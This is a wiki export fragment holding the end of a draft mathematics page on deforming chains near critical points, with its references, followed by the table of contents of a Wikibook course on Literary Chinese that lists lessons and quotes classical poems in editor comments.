&lt;math display=&quot;inline&quot;&gt;\Phi(M_{\leq c+\epsilon}, 2\epsilon)&lt;/math&gt; we mean the space &lt;math display=&quot;inline&quot;&gt;M_{\leq c+\epsilon}&lt;/math&gt; flowed along &lt;math display=&quot;inline&quot;&gt;\Phi(x, t)&lt;/math&gt; for a short period of time &lt;math display=&quot;inline&quot;&gt;2\epsilon&lt;/math&gt;.

[Prove it has the same critical points and is proper?]

&lt;math display=&quot;inline&quot;&gt;\Phi(M_{\leq c+\epsilon}, 2\epsilon)&lt;/math&gt; takes points in &lt;math display=&quot;inline&quot;&gt;M_{\leq c+\epsilon}&lt;/math&gt; to &lt;math display=&quot;inline&quot;&gt;M_{\leq c-\epsilon}&lt;/math&gt; except for those that come within &lt;math display=&quot;inline&quot;&gt;s&lt;/math&gt; of a critical point within time &lt;math display=&quot;inline&quot;&gt;2\epsilon&lt;/math&gt;.

Therefore, we see how we &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; can homotopically deform a chain in &lt;math display=&quot;inline&quot;&gt;M_{\leq c+\epsilon}&lt;/math&gt; to a chain in the union of &lt;math display=&quot;inline&quot;&gt;M_{\leq c-\epsilon}&lt;/math&gt; and small neighbourhoods of critical points.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 234-235.&lt;/ref&gt;

On the assumption of this theorem, we can start with any chain in &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; and deform this chain to &lt;math display=&quot;inline&quot;&gt;M_{c_1+}&lt;/math&gt; using part 1. Then we deform this chain to a chain in the union of &lt;math display=&quot;inline&quot;&gt;M_{c_1-}&lt;/math&gt; and small balls around the critical points. The (sub?)chain in &lt;math display=&quot;inline&quot;&gt;M_{c_1-}&lt;/math&gt; is then deformed to a chain in &lt;math display=&quot;inline&quot;&gt;M_{c_2+}&lt;/math&gt;, which is deformed to a chain in &lt;math display=&quot;inline&quot;&gt;M_{c_2-} \cup z_{c_2}&lt;/math&gt;, and so on. Eventually, we get to &lt;math display=&quot;inline&quot;&gt;M_{c_j-}&lt;/math&gt; which is homotopic to any space &quot;below&quot; it. Therefore, we have deformed our chain in &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; to a homotopic chain in the union of small balls around critical points.&lt;ref&gt;Baryshnikov, Melczer and Pemantle 2022, pp. ???.&lt;/ref&gt;&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 217???&lt;/ref&gt;

[Direct sum of homology generators for relative cycles]

== Notes ==
{{Reflist}}

== References ==
* {{citation | last1=Baryshnikov | first1=Yuliy | last2=Melczer | first2=Stephen | last3=Pemantle | first3=Robin | title=Stationary Points at Infinity for Analytic Combinatorics | year=2022 | journal=Foundations of Computational Mathematics | volume=22 | number=5 | pages=1631-1664 | url=https://www2.math.upenn.edu/~pemantle/papers/SPAI-published-version.pdf }}.
* {{cite book | last1=Goresky | first1=Mark | last2=MacPherson | first2=Robert | title=Stratified Morse Theory | publisher=Springer-Verlag | year=1988 | url=https://www.math.ias.edu/~goresky/pdf/SMT.djvu }}
* {{cite book | last=Henle | first1=Michael | title=A Combinatorial Introduction to Topology | publisher=Dover Publications Inc. New York | year=1979 }}
* {{citation | last=Mather | first=John | title=Notes on Topological Stability | year=2012 | journal=Bulletin of the American Mathematical Society | volume=49 | number=4 | pages=475-506 | url=https://www.ams.org/journals/bull/2012-49-04/S0273-0979-2012-01383-6/S0273-0979-2012-01383-6.pdf }}.
* {{cite book | last1=Pemantle | first1=Robin | last2=Wilson | first2=Mark C. | last3=Melczer | first3=Stephen | title=Analytic Combinatorics in Several Variables | publisher=Cambridge University Press | year=2024 | edition=2nd | url=https://acsvproject.com/PemantleWilsonMelczer23.pdf }}</text>
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  <page>
    <title>General Literary Chinese from Scratch</title>
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      <comment>/* Unit 1: Basic Skills */</comment>
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Welcome to the Wikibook for Literary Chinese (Known as 漢文 &quot;Han Language&quot; in East Asia or 文言 &quot;Literary Language&quot; in China), aimed at individuals hoping to gain a general knowledge of it before progressing into genres they wish to be acquainted with. 

This is not the [[Classical Chinese]] textbook, which is aimed at Chinese Zhou-Qin era texts. This  text aims to shed light on post-Zhou-Qin texts across East Asia, which mimic those texts. However, as Zhou-Qin era texts served as the main body from which individuals learned, they are employed here as and when they are considered necessary or otherwise useful. It does so through a &quot;buffet&quot; approach, showering you, the reader, with an ocean of texts of myriad genre. 

==Table of Contents==

=== Front matter ===

* [[/Introduction/]]
* [[/Appendices/]]

=== Useful resources ===
These are quick grab-bags that can be useful for vocabulary-building. 
* [[/Antonym List/]] &lt;!--- 文/武，大/小，厚/薄，橫/縱...---&gt;
* [[/Collocation Groups/]] &lt;!--- e.g. 四象，三靈…… ---&gt;
* [[/Pronoun Table/]]
* [https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/嚴譯及部定詞等 Yan Fu's Qing-era translations for modern terms] &lt;!--- Wikiversity has this (https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/嚴譯及部定詞等) and the below, I will effectively be translating a lot of it! ---&gt;
* [https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/上古語考輯 Communicative Terms]
&lt;!--- this will be translated eventually, but right now it's bad to just leave this here. ---&gt;

=== Useful primers ===
Across history, many primers have been made for teaching Literary Chinese to children. These are a few that are recommended for use alongside this work, ideally in flashcards. 
* [https://www.fdgwz.org.cn/Web/Show/11308 倉頡篇] - Cangjie's Chapters, the earliest one. It is extant, but incomplete. It contains several rare characters, and so if used, I would personally recommend doing so later, or out of interest. 
* 三字經 - The Three Character Classic, an excellent piece for Confucian education. Pair with 弟子规 for best results. 
** 三字經（太平天國版）- For Christians, there is a version made by Hong Xiuquan from the Taiping Rebellion. Despite the context, it is a legitimately useful primer and can be used to self-teach for the Delegate's Edition of the Christian Bible. 
* 千字文 - The Thousand Character Classic, a remarkable piece of constrained writing that only uses each character once. Amazing for building vocabulary whilst seeing historical allusions and the like. 
* 五字鑑 - The Five-Character Mirror, essentially the 24 Histories of China compressed into a primer. Uses 5-character couplets, the longest in this list. 
* 龍文鞭影 - The Shadow of Longwen's Whip, a historical allusion trainer. Best paired with a context piece.

===Unit 0: The Han script===
This unit is intended for those with no familiarity of the Han script. It will prepare you for the units ahead, teaching largely pictographic characters. 

By the end of this unit, students will:
* Recognise around 50 characters.
* Understand how characters are composed and how this gives them meaning.
* Have a basic idea of how to handwrite and/or type characters using the Cangjie Input Method.
* Know some bare basics of Literary Chinese grammar (e.g. Basic word order, where adjectives go, lack of &quot;is&quot;, 有...)

Lessons:
# [[/An Introduction to the Han Script/]]
# [[/People, Big and Small/]]
# [[/How do we write Chinese?/]]
# [[/What are Chinese characters, anyway?/]]
# [[/The Sun, the Moon, and the Five Elements/]]
# [[/Getting Familiar with Body Parts/]]
# [[/Using Numbers and Using Weapons/]] &lt;!--- 竹戈十大中一弓廿卜---&gt;
# [[/Tilling the Fields with 有/]] &lt;!--- 山田 ---&gt;
# [[/How Characters are Made/|How Characters are Made with Kiyohara no Sanemoto]] 
# [[/Cangjie Created Characters/]] &lt;!--- Get people to use Cangjie ---&gt;
# [[/The Kangxi Radical System/]] &lt;!--- Introduce some monoradical texts to train recognition. ---&gt;

===Unit 1: Basic Skills===
This unit is intended for those with minimal familiarity with the Han script and no familiarity with Literary Chinese. There is a focus on simple structures, skills for dissecting common textual structures, and short-form poetry in this unit. 

Before starting this unit, students should:
* Recognise around ~30 characters. 
* Can use Cangjie input. 
* Have given Unit 0 a cursory glance. 
&lt;br&gt;
By the end of this unit, students will:
* Recognise around ~100 characters. 
* Comprehend numbers, the Heavenly Stems, and the Earthly Branches, and be able to use them to quantify time and date.
* Intuit the basic topic -&gt; comment idea behind Literary Chinese. &quot;This, it is...&quot; 
* Understand basic function words such as 也, 而, 有, and 謂.

Lessons:
# [[/The All-Purpose 也/]]
# [[/An Introduction to Chinese Numbers/]]
# [[/One, Two, Left, and Right with Gongsun Long/]]
# [[/The Heavenly Stems/]]
# [[/Tell the Time with Earthly Branches/]]
# [[/How Much Time, Exactly?/]]
# [[/Lunar Dates with the Spring and Autumn Annals/]]
# [[/Scanning for Major Events in Historical Annals/]] 
# [[/Dinner with the Daimyo/]]
# [[/In Discourse with Jibong/]]
# [[/How do we Write Height and Weight?/]]
# [[/Eating like a Zhou Aristocrat/]] 
# [[/Shinto FAQ with Honda Chikaatsu/]] 
&lt;!--- https://wikisource.org/wiki/%E7%9C%9E%E9%81%93%E5%95%8F%E5%B0%8D 眞道問對 本田親徳 really good way of operationalising 乎 and much of the early grammar. 

問 天帝無始無終乎。
對 天帝無始無終也。
旣以無始無終之力
與無始無終之體
造無始無終之萬物。
其功亦無始無終也。

問 天地大原在道乎。
對 天地大原實在道。
鬼神依道而立。
人民依道而活。
萬物依道而息。

This is great! ---&gt;
&lt;!---
Some cool stuff I saw someone studying from
https://zh.wikisource.org/wiki/%E8%87%B3%E5%B0%8F%E4%B8%98%E8%A5%BF%E5%B0%8F%E7%9F%B3%E6%BD%AD%E8%A8%98#
https://zh.wikisource.org/wiki/%E6%A0%B8%E8%88%9F%E8%A8%98

Could be used for period focus
---&gt;
&lt;!---
Teach periods of at some point in this unit, most likely after the earthly branch part:
初，先是往十餘歲河決觀
“Originally, 10 or so years prior to this, the dam broke at Guan.&quot; 
先是十餘歲，河決
10 or so years prior, a river dam breached.
先臘一日
One day before the La sacrifice
三宿而後出晝
He left Zhou after staying for three nights 
予三宿而出晝
I stayed three nights before I quit Zhou.
獨居三年，然後歸。
He lived there alone for three years before returning home/He lived there for three years and went home thereafter.
So to me there are about 3 different construction to pay attention to here: Time before an action, time doing an action, and time spent UNTIL the action
Before requires you say 先X[time], with X being the event or time; saying 先是 requires establishing an event already that you want to explain what happened before
For saying how long you've done something, something which you may or may not still be doing, you just put the time right after the verb: 行三日 &quot;he walked for three days&quot;
DIFFERENT FROM THIS you can say how long it took before you performed an action with the construction [time]而V
三日而行 &quot;he left after three days&quot;
of course you can make this longer and go 而後 or 然後
---&gt;

===Unit 2: An Overview of Sinitic Poetry===
This unit will teach you how Sinitic Poetry operates; - that is, the way individuals in the Sinosphere compose poetry in Literary Chinese. Despite this language's fall out of favour in the past century, this tradition is still remarkably alive and well, and their short length makes them more accessible than elaborate prose. In this unit, you will begin from the ''Classic of Poetry'' before travelling through poems from the Tang dynasty, Singapore, Japan, Vietnam, the Ryukyu Kingdom, and Korea. When introducing poetry, I will furthermore use the language from the nation it is from to show how it is recited by its people. 

After discussing the Classic of Poetry, we will also be a small detour into a discussion on Ping-Ze 平仄, the Tang dynasty system of alternating tones, so to produce rhyme on tonal and phonological levels. This had a major impact on Literary Chinese poetry as a whole!

By the end of this Unit, students will:
* Recognise around 120 more characters.
* Be able to explain how Sinitic Poetry rhymes and the themes it contains.
* Be able to use function words such as 在, 無, 不, 聿, and 于/於 in poetic contexts.
* Recognise the switch between 吾/我 in the subject-object positions and demonstrate it in usage.
* (Chinese speakers) Be able to differentiate 于 and 於, and understand the &quot;interest(ed) in&quot; meaning of 好 in most circumstances.
&lt;!---
Summary of the above part about 于 and 於 for other editors:
于 and 於 were distinct words for an extremely long time and were still such to Literary Chinese writers. Their &quot;merging&quot; through Simplified-Traditional Chinese distinctions is a very modern thing. I will summarise their usages here, using Pulleyblank's Outline of Classical Chinese Grammar (2000);
* 于 - This can mean &quot;to go&quot; or &quot;to/at&quot;. 黃鳥于飛 &quot;The yellow birds go flying&quot;. Must be post-verbal. It can also appear in 至于.
* 於 - This is an all-purpose locative preposition - from &quot;on/at/in&quot; to &quot;from&quot; or even &quot;than&quot; (甲於乙). The implication of motion is not there at all. Must be pre-verbal. It can also appear in 之於 or be an archaic noun for a crow 於 (烏).
---&gt;

Lessons:
# [[/Across the Rivers with Emperor Puliuru Guang/]] &lt;!--- Illustrate ping-ze ---&gt;
# [[/To Study the Odes/]] 
# [[/A Detour into Orthodox Ping-Ze/]] 
&lt;!--- 平 and 仄 are useful characters themselves. Show 仄 in the binomes 反仄，歉仄，逼仄 as it's often difficult to immediately use ---&gt;
# [[/The Restraint of Du Fu/]] 
# [[/The Longing of Li Bai/]] 
# [[/The Environment with Bukha Timur/]]
# [[/Pillow Talk with Guan Yunshi/]]
&lt;!---
紅繡鞋·貫雲石
挨著靠著雲窗同坐，偎著抱著月枕雙歌，聽著數著愁著怕著早四更過。四更過情未足，情未足夜如梭。天哪，更閏一更兒妨甚么！

Uyghur author!
---&gt;
# [[/Buddhist Philosophy with Ngô Chân Lưu and Taisei Shōan/]]
&lt;!-- 元火·吳真流
木中元有火，元火復還生。
若為木無火，鉆燧何有萌。--&gt;
&lt;!-- 杜鵑·大成聖安
夢覚孤床静
杜鵑帯雨飛
一声来近枕
何者不沾衣
--&gt;
# [[/Odes with Mō Taiei and Zheng Chengxun/]]
&lt;!-- 詠松·毛泰永
植體宜千仞，垂陰動百尋。
李膺真烈烈，和嶠自森森。
桃李何堪較，雪霜安得侵。
萬年身不老，種子又成林。
AKA Inoha Seiki 伊野波 盛紀 --&gt;
&lt;!-- 詠班蘭·鄭成勛
南國多芳草，班蘭最有名。
深根將綠茁，長葉亦叢生。
取味迎賓合，入厨任水烹。
可憐經一用，擲棄不留情。

鄭成勛《樵隱詩集》 https://nus.edu.sg/nuslibraries/dsprojects/sg-jiutishi/poem/827 --&gt;
# [[/A Golden Cup and the Fall of a Dynasty with Yan Fu/]] 
# [[/On a Journey with Sadula/]]
&lt;!---
No lesson entry:
朝中措·襄陽古道灞陵橋
襄陽古道灞陵橋，詩興與秋高。
千古風流人物，一時多少雄豪。

霜清玉塞，雲飛隴首，風落江皋。
夢到鳳凰台上，山圍故國周遭。

北郊晚步
陂水荷凋晚，茅檐燕去涼。
遠林明落景，平麓淡秋光。
群牧歸村巷，孤禽立野航。
自諳閑散樂，園圃意尤長。

Jurchen poet and grandson of Emperor Shizong of Jin. He's a Zen Buddhist, so we'll go back to him later.
---&gt;

===Unit 3: Confucianism and the World===
This is a Confucian-themed unit with a smattering of other items. You will see the odd geography of the past, early linguistic philosophy, and terrifying breakaway states!

By the end of this unit, students should be able to:
* Recognise around 200+ characters.
* Read basic annals and histories with some dictionary assistance, and comprehend 3-character structures reliably.
* Have encountered basic grammatical points such as 之、乎、者、也、而、則、乃、所、以、於、于、與、且、蓋、and 夫. 
** 於 and 于 should be distinguishable.
* Survive a text of at least 250 characters and read for gist.

Lessons:
# [[/A Brief Overview of Confucianism/]] 
# [[/Teaching the Annals in Qi/]] &lt;!-- Gongyang Gao's commentary --&gt;
# [[/Is a White Horse a Horse?/]]&lt;!-- Teach negation with 非 in 公孙龍子 and compare with 不 --&gt;
# [[/The Three Character Classic/]]
# [[/Expressing Filial Conduct with Confucius and Hara Saihin/]]
&lt;!--
次韻杏坪先生
父執有君孤不孤
相依遍接搢紳徒
区区自抱地方寸
杳杳重遊天一隅
羇雁飛鳴迷汝國
家人思夢入江都
如教志業青年遂
世上寧無逐臭夫
--&gt;
# [[/Confucianism and the Environment with Sai On/]]&lt;!-- 木假山記 --&gt;
# [[/In Debate with Mencius/]]

===Unit 4: Women's Writing===
In this unit, women's writing from various areas of China will be explored. This is chiefly targeted at poetry and the themes within; from the feminine voice of the Classic of Poetry to the remonstrance towards the Khitan Emperor Tianzuo of Jin by his Consort Dasese. The role of women in courtly society is to be elucidated here!
# [[/An Unmarried Life with Heo Nansŏrhŏn/]]
&lt;!---
貧女吟 
豈是乏容色。工鍼復工織。
少小長寒門。良媒不相識。

夜久織未休。戛戛鳴寒機。
機中一匹練。終作阿誰衣。

手把金翦刀。夜寒十指直。
爲人作嫁衣。年年還獨宿。
---&gt;
# [[/Responding to Lord Trần with Hồ Xuân Hương/]]
&lt;!---
Responding to 陳光靜 Trần Quang Tĩnh

《和陳侯》
愧無才調使人驚，十載風塵貫耳鈴。
已是臨枰知敵手，莫須敲月苦殫精。
為輪為彈隨遭遇，誰鳳誰鶯任賦生。
造物於人何苟惜，明珠休向暗中呈。

莫須 is an important structure to teach here.
---&gt;
# [[/Gaze into the Autumn Night with Taisei Shōan/]]
&lt;!---
秋夜偶成·大成聖安
長天浮爽気，月色興無窮
群犬吠山径，百蟲啼野風
悲秋秋夜永，感古古今同
自是孤窓下，凄然万慮空
---&gt;
# [[/Visiting a Temple with Yu Xuanji/]]
&lt;!---
遊崇真觀南樓覩新及第題名處
雲峰滿目放春晴，歷歷銀鈎指下生。
自恨羅衣掩詩句，擧頭空羨榜中名。
---&gt;
# [[/Remonstrance with Dasese/]]
&lt;!---
https://zh.wikisource.org/wiki/%E8%AB%B7%E8%AB%AB%E6%AD%8C
諷諫歌·大瑟瑟
勿嗟塞上兮暗紅塵。
勿傷多難兮畏夷人。
不如塞奸邪之路兮選取賢臣。
直須臥薪嚐膽兮激壯士之捐身。
可以朝清漠北兮夕枕燕雲。

Dasese (or 萧瑟瑟) was a Khitan consort to Emperor Tianzuo of Liao. She remonstrated him as the Jurchens were beginning to encroach upon the Khitan, and was forced to commit suicide for her remonstrance. Tianzuo would soon pay for his malfeasance. 
---&gt;
# [[/The Love Songs of the Odes/]]
&lt;!---
褰裳
子惠思我，褰裳涉溱。子不我思，豈無他人？狂童之狂也且！
子惠思我，褰裳涉洧。子不我思，豈無他士？狂童之狂也且！

柏舟
彼柏舟，在彼中河，髧彼兩髦，實維我儀，之死矢靡它，母也天只，不諒人只。
汎彼柏舟，在彼河側，髧彼兩髦，實維我特，之死矢靡慝，母也天只，不諒人只。

行露
厭浥行露，豈不夙夜，謂行多露。
誰謂雀無角？何以穿我屋？誰謂女無家？何以速我獄？雖速我獄，室家不足。
誰謂鼠無牙？何以穿我墉？誰謂女無家？何以速我訟？雖速我訟，亦不女從。
---&gt;
# [[/Rules for Women with Ban Zhao/]]
&lt;!--- https://zh.wikisource.org/wiki/%E5%A5%B3%E8%AA%A1 ---&gt;
# [[/The Tragedy of Cai Wenji/]]
&lt;!---
悲憤詩
〔兩漢〕蔡文姬
漢季失權柄，董卓亂天常。
志欲圖篡弒，先害諸賢良。
逼迫遷舊邦，擁主以自強。
海內興義師，欲共討不祥。
卓眾來東下，金甲耀日光。
平土人脆弱，來兵皆胡羌。
獵野圍城邑，所向悉破亡。
斬截無孑遺，屍骸相撐拒。
馬邊懸男頭，馬後載婦女。
長驅西入關，迥路險且阻。
還顧邈冥冥，肝脾為爛腐。
所略有萬計，不得令屯聚。
或有骨肉俱，欲言不敢語。
失意幾微間，輒言斃降虜。
要當以亭刃，我曹不活汝。
豈復惜性命，不堪其詈罵。
或便加棰杖，毒痛參並下。
旦則號泣行，夜則悲吟坐。
欲死不能得，欲生無一可。
彼蒼者何辜，乃遭此厄禍。
邊荒與華異，人俗少義理。
處所多霜雪，胡風春夏起。
翩翩吹我衣，肅肅入我耳。
感時念父母，哀嘆無窮已。
有客從外來，聞之常歡喜。
迎問其消息，輒復非鄉里。
邂逅徼時願，骨肉來迎己。
己得自解免，當復棄兒子。
天屬綴人心，念別無會期。
存亡永乖隔，不忍與之辭。
兒前抱我頸，問母欲何之。
人言母當去，豈復有還時。
阿母常仁惻，今何更不慈。
我尚未成人，奈何不顧思。
見此崩五內，恍惚生狂痴。
號泣手撫摩，當發復回疑。
兼有同時輩，相送告離別。
慕我獨得歸，哀叫聲摧裂。
馬為立踟躕，車為不轉轍。
觀者皆噓唏，行路亦嗚咽。
去去割情戀，遄征日遐邁。
悠悠三千里，何時復交會。
念我出腹子，匈臆為摧敗。
既至家人盡，又復無中外。
城廓為山林，庭宇生荊艾。
白骨不知誰，縱橫莫覆蓋。
出門無人聲，豺狼號且吠。
煢煢對孤景，怛吒糜肝肺。
登高遠眺望，魂神忽飛逝。
奄若壽命盡，旁人相寬大。
為復強視息，雖生何聊賴。
託命於新人，竭心自勖勵。
流離成鄙賤，常恐復捐廢。
人生幾何時，懷憂終年歲。
---&gt;

===Unit 5: Myths and Legends of East Asia===
&lt;!--- Shanhaijing, Zibuyu... Etc. Zhiguai literature. This aims to provide a counterpoint to what Confucius wouldn't discuss - thus Zibuyu. Going straight into Daoism isn't ideal. ---&gt;
# [[/Exploring the World of Mountains and Seas/]]&lt;!-- Structure: 出焉 --&gt;
# [[/Oh, the Qilin!/]] &lt;!--- Even here, the odes can be studied! ---&gt;
# [[/The Poison of Zhen/]] &lt;!--- referenced a lot in histories ---&gt;
# [[/Ultimate Justice with Xiezhi/]] &lt;!--- the yellow emperor met one, gao yao also used one ---&gt;
# [[/The Virtue of the Fenghuang/]] &lt;!--- shanhaijing has a great line on this ---&gt;
# [[/The Entrapment of Hua Po/]] 
# [[/Nüwa Created the World/]]

===Unit 6: Food from Across the Ages===
# [[/A Simple, Rich Fry/]] &lt;!--- 《禮記 內則》淳熬：煎醢，加于陸稻上，沃之以膏曰淳熬。淳毋煎醢，加于黍食上，沃之以膏曰淳毋。---&gt;
# [[/Song Cuisine with Chen Dasou and Lin Hong/]] &lt;!--- 陳達叟 本心齋疏食譜 https://zh.wikisource.org/zh-hant/%E6%9C%AC%E5%BF%83%E6%96%8B%E7%96%8F%E9%A3%9F%E8%B0%B1 ---&gt; &lt;!--- 山家清供 https://zh.wikisource.org/wiki/%E5%B1%B1%E5%AE%B6%E6%B8%85%E4%BE%9B ---&gt;
# [[/Yuan Cuisine with Ni Zan/]] &lt;!--- https://ctext.org/wiki.pl?chapter=318337&amp;if=en 《雲林堂飲食制度集》倪瓚 one of the Four Masters, also a painter ---&gt;
# [[/A Feast with Yuan Mei/]] &lt;!--- 袁枚 隨園食單 https://ctext.org/wiki.pl?if=gb&amp;res=344157 ---&gt;
# [[/Remembering the Food of Joseon with Hŏ Kyun/]] &lt;!--- https://rmda.kulib.kyoto-u.ac.jp/item/rb00023424?page=3p 許筠 屠門大嚼 ---&gt;

===Unit 7: Nation Focus - Japan===
# [[/The Inariyama Sword/]] 
&lt;!--- short and sweet! ---&gt;
# [[/Entering Japan with Takeda Shingen/]]
# [[/The Oldest Inscription in Japan/]] 
&lt;!--- 宇治橋断碑 ---&gt; 
# [[/The End of a Rebellion/]] 
# [[/Shinto Teachings with Honda Chikaatsu/]] 
&lt;!--- https://wikisource.org/wiki/%E9%81%93%E4%B9%8B%E5%A4%A7%E5%8E%9F 本田親徳 道之大原 ---&gt;  
# [[/The Diary of Fujiwara no Teika/]] &lt;!--- 明月記 ---&gt;
# [[/Reading the History of Japan with Prince Toneri/]] &lt;!--- 日本書記, etc. ---&gt; 
# [[/A Biographical Painting of Toyotomi Hideyoshi/]] &lt;!--- This is on Fanya Hanwen Corpus ---&gt;
&lt;!--- # [[/Occupying Taiwan/]] ---&gt;
&lt;!--- I have some colonial literature on me that can be used here. ---&gt;

===Unit 8: Nation Focus - Korea===
# [[/Feigned Surrender with Ŭlchi Mundŏk/]] &lt;!--- 乙支文德漢詩 ---&gt;
# [[/A fu with Yi Kyubo/]]
# [[/An Elegy to the Empress with Choe Ja/]]
&lt;!---
Choe Ja
元德大后輓詞·崔滋（최자）
乾極曾客配,坤儀正體元。
枕前朝聖主,帳底見曾孫。
陰慘俄沉月,屋悲便沒軒。
三韓千古淚,七十九年恩。
---&gt;
# [[/Language Reform with Sejong the Great/]]
&lt;!--- 訓民正音 https://github.com/ShiraTheMogul/fanyahanwen-corpus/commit/1ef2b42cc50055affaa5ef39c61b87ed31c34a60 multiple poems and descriptive terms, possibly the best capstone ---&gt;
# [[/Fall Off Your Horse!/]] &lt;!--- a famous record from 朝鮮王朝實錄 ---&gt;
# [[/The Diary of Yi Sun-Sin/]] &lt;!--- 亂中日記 ---&gt;
# [[/Tales from Mount Kumo/]] &lt;!--- 金鰲新話 ---&gt;
# [[/Pak Chiwŏn Tours the Qing/]] &lt;!--- 熱河日記 ---&gt;
# [[/Korea's Three Kingdoms/]] &lt;!--- 三國史記 for sure! ---&gt;
# [[/Hwang Yun-seok's Essays/]] &lt;!--- https://zh.wikisource.org/wiki/%E9%A0%A4%E9%BD%8B%E9%81%BA%E7%A8%BF 頤齋遺稿 黃胤錫 Joseon scholar! ---&gt;

===Unit 9: Christian Literature===
# [[/A Different Three Character Classic with Hong Xiuquan/]]
# [[/Friar Juan Cobo's Veritable Record/]] 
&lt;!--- 
One of few texts from the Philippines that I have ever found!
https://bnedigital.bne.es/bd/en/viewer?id=0160187c-9d9b-4f34-84d6-bc03fd310c69 
---&gt;
# [[/The Delegate's Edition/]]
# [[/Nestorian Steles during the Tang/]] 
&lt;!--- 大秦景教宣元至本經經幢 and 景教碑 ---&gt;
# [[/Hong Xiuquan's Bible/]]
&lt;!--- https://bible.fhl.net/ob/nob.html?book=407 ---&gt;
&lt;!--- I don't want to focus too much on Hong Xiuquan here, so look for more material, especially from missionaries. ---&gt;

===Unit 10: An Introduction to Daoism===
&lt;!--- And now back to your regularly scheduled Zhuangzi/Laozi/Liezi. But with more interesting stuff. Trust! ---&gt;
# [[/Laozi Explains the Dao/]]
# [[/Qingtan with Xie Daoyun/]]
# [[/The Doubting Neighbour/]] 
# [[/Kuafu Chases the Sun/]] 
# [[/The Frog in a Well/]] 
# [[/Wu wei with King Hui of Liang/]]
# [[/The Old Man that Moves the Mountains/]]
# [[/Master Zhuang Dreams of Butterflies/]]
# [[/Master Incapable and the Poisonous Bird/]]
# [[/Transmitting the Dao with Yelü Chucai/]] &lt;!---耶律楚材 - Served 窝阔台, 玄風慶會錄 is short and respectable enough to work with. https://zh.wikisource.org/wiki/%E7%8E%84%E9%A2%A8%E6%85%B6%E6%9C%83%E9%8C%84 ---&gt;
# [[/The Indifferent Taoist/]] &lt;!--- northern song https://zh.wikisource.org/wiki/%E7%8E%89%E6%AD%B7%E5%AF%B6%E9%88%94 ---&gt; 
&lt;!--- Currently very stereotypical, but there's stuff to work with at least. Need to include those weird Daoist characters among other things. ---&gt;

===Unit 11: Nation Focus - Ryukyu Kingdom===
# [[/Historical Annals with Sai On/]] &lt;!--- Kyuko is an easy cop ---&gt;
# [[/The Enthronement of Shō Tei/]] 
# [[/The Twilight of Ryukyu with Shō Ten/]] 
# [[/A Trip to Ryukyu with Luo Sen/]] &lt;!--- Pre-Capstone ---&gt;
&lt;!---
遐邇貫珍 1854-11 - 日本日記 羅森 
https://archive.org/details/HEKC185411/page/n5/mode/1up
A solid description of Ryukyu cultural customs in Volume 11. Absolutely incredible. 
日三日火船直向東北而駛出了臺灣之外幾日不見天涯是時北風大作波浪沖天火船亦甚飄蕩而不能立見有沙鷗隨風而逐浪心直駛七日漸見小山而到琉球琉球一國長闊一百七十五里其國城在地球圖緯線赤道之北二十六度十四分經線中華北京偏東十一度二十四分自明以來世封王爵叨列藩籬其處土產不過蔬菜番薯菜油黑糖等類人民束髻大補是穿草履男女粧飾頭上祇插一簪二簪為別故少年之男女瞥目則無異及其壯也皆留鬚髯故街上長鬚之人甚多甲寅正月初一予上岸遊玩見街上兒童甚多分以銅錢各極歡喜人民亦甚謙恭民居間亦貼新春聯于門外但不見有別等繁華之事那霸有寺寺內有園是名家世宦之墳所以石刊刻姓名年號于碑上每日道人打掃供奉生花樹葉于墓前另有人家祖墳與中國之明塚無異峰巒之上樹木多植民房則以蠻石圍墻內以茅草結屋而居佳物椅棹俱無惟以草蓆屈膝而坐對火盆而吹煙民間亦有識中國言語字墨者
不張舖店惟有墟塲男不貿易婦女為之以貨易貨而外方之金銀弗尚焉然而百姓亦甚畏官長飲食亦甚粗粕甘守樸儉不務奢華亦鮮欺詐板門紙窓夜間亦不防竊曾見途中撿物亦能以返原人公門之內冷冷落落並無案牘之煩淳樸之風畧有同于上古之世我等外國之欲買什物須言于官官為代辦正月初六提督被理衛廉士等一班將官布列威嚴與予乘轎至王宮總理大臣尚宏勳為主席布政大夫馬良才為知客享宴甚豐食物多與中國無異宴後各官皆饋有紙扇烟包布帛等項是物雖粗此亦世子之恭敬外國故亞國亦以禮物而返贈之世子王宮離岸三里在于山頂是名守禮將至其宮一路亦有樹木石牌坊宮室亦甚寬大幽雅垣局可觀其處多栽鳳尾草森樹等類以障陰山邊田土樹藝五穀近海沙田水漲之後人收其沙以煎鹽此時明月當圓予覽山川亦足見一方之風景 
---&gt;
&lt;!--- 中山世鑑 and so on. Lots of poetry too. ---&gt;

===Unit 12: Nation Focus - Singapore===
&lt;!--- National Library of Singapore has a poetry series that's super good! ---&gt;
# [[/Three Nights in Penang with Gao Chao/]]

===Unit 13: Literary Chinese in Medicine===
&lt;!--- do not endorse the medical practices discussed in these...make sure to link back to the heavenly stems here as they are associated with specific body parts. ---&gt;
# [[/The Books of the Yellow Emperor/]] 
&lt;!-- 黃帝内徑 ---&gt;
# [[/Deviant Qi with Zhang Congzheng/]]
&lt;!--- https://zh.wikisource.org/wiki/%E5%84%92%E9%96%80%E4%BA%8B%E8%A6%AA ---&gt;
# [[/Anatomy with Sugita Genpaku/]]
&lt;!--- 解体新書 ---&gt;
# [[/A Lost Wu Medical Text analysed in Japan/]]
&lt;!--- 難經古義 ---&gt;

===Unit 14: People Focus - Zhuang peoples===
&lt;!--- https://mooc1.chaoxing.com/mooc-ans/ztnodedetailcontroller/visitnodedetail?courseId=84745403&amp;knowledgeId=84745463&amp;_from_=&amp;_fromV2_=&amp;rtag= 《峤西诗钞》 is also a really good shout. Found here: https://ctext.org/wiki.pl?if=gb&amp;res=215640&amp;remap=gb ---&gt;
&lt;!--- Basically, there are Zhuang and Tangut peoples who wrote in Literary Chinese, and their inclusion here is to show that even those who made their own scripts would use this tongue. 张鸿翮 imported the character 朴 to describe a bug, for example. ---&gt;
# [[/Zhuang poetry with Li Bi/]]
# [[/The Beauty of Wuyuan with Fang Ju/]]
# [[/Disaster and Society with Wei Fenghua/]]
# [[/Who Deserves a Biography?/]]

&lt;!--- https://wenyi.gmw.cn/2024-06/25/content_37398911.htm

